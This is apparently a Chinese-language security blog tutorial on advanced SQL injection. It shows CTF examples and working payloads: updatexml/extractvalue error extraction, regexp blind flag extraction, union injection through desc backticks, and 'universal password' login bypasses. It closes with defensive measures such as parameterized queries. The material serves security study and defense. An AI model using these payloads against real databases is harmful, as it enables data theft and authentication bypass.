又双叒叕谈注入
字数 1226 2025-08-26 22:12:02
SQL注入高级技巧详解
前言
本文总结了多种SQL注入的高级技巧,包括SQL约束攻击、order by注入、insert/update/delete注入、HTTP分割注入、desc相关问题、万能密码和\N问题等。这些技巧在实际渗透测试和安全研究中具有重要价值。
SQL约束攻击
原理
SQL在处理字符串时,字符串末尾的空格字符会被自动删除。因此"username"和"username "在大多数SQL操作中被视为等效。
攻击场景
- 用户注册时,注册"admin[多个空格]"账号
- 登录时执行查询:
select username from users where username='admin' AND password='random_pass' - 系统返回admin用户的权限而非实际注册的空格账号
防御措施
- 使用TRIM()函数处理用户名
- 在查询中添加长度检查
- 使用二进制比较(如MySQL的BINARY关键字)
order by后的注入
注入技术
- 报错注入:
select * from table order by updatexml(1,concat('~',(select version())),'xxx');
- 位运算注入:
select * from table order by id|1;
select * from table order by id|2;
- 布尔盲注:
利用位运算结果影响排序结果,通过页面变化判断条件真假
实际案例
题目:https://chall.tasteless.eu/level1/index.php
- 参数:dir
- 注入payload:
|(select(select flag from level1_flag)regexp '正则')+1
insert/update/delete后的注入
注入方法
- insert注入:
insert into table values(3,'attack'or updatexml('anything',concat('~',(select user())),'ll'),'test');
- update/delete注入同理
实际案例
题目:https://chall.tasteless.eu/level15/index.php
- 绕过单引号过滤:使用反斜杠转义
- payload:
\,(select flag from level15_flag))#` - 最终SQL:
insert into (name,text) values ('\'',select flag from level15_flag)#')
HTTP分割注入
原理
利用SQL注释符(//或/**/)分割HTTP请求,绕过某些过滤
实际案例
题目:http://ctf5.shiyanbar.com/web/baocuo/index.php
payload:
select * from users where username=''or extractvalue /*' and password='*/(1, concat(0x5c,(select database()))) or''
desc相关问题
注入技术
- MySQL中连续两个反引号相当于一个空格
- desc支持两个参数
实际案例
题目:http://web.jarvisoj.com:32794/
payload:
test` ` where 1=2 union select 1
最终SQL:
desc `secret_test` ` where 1=2 union select 1`
select 'flag{xxx}' from secret_test` ` where 1=2 union select 1
万能密码
常见payload
- 双引号法:
select * from table where name = ''+'' and password = ''+''
- 双等于法:
select * from table where name = 'aaa'='' and password = 'aaa'=''
\N问题
利用方式
- MySQL中\N表示NULL
- 可用于绕过某些过滤或触发意外行为
防御措施
- 使用参数化查询(预编译语句)
- 实施最小权限原则
- 对所有输入进行严格验证和过滤
- 使用Web应用防火墙(WAF)
- 定期进行安全审计和渗透测试
总结
本文介绍了多种高级SQL注入技术,这些技术在特定场景下可以绕过常规防御措施。安全开发人员应了解这些技术以构建更安全的系统,而安全研究人员可利用这些技术进行更深入的渗透测试。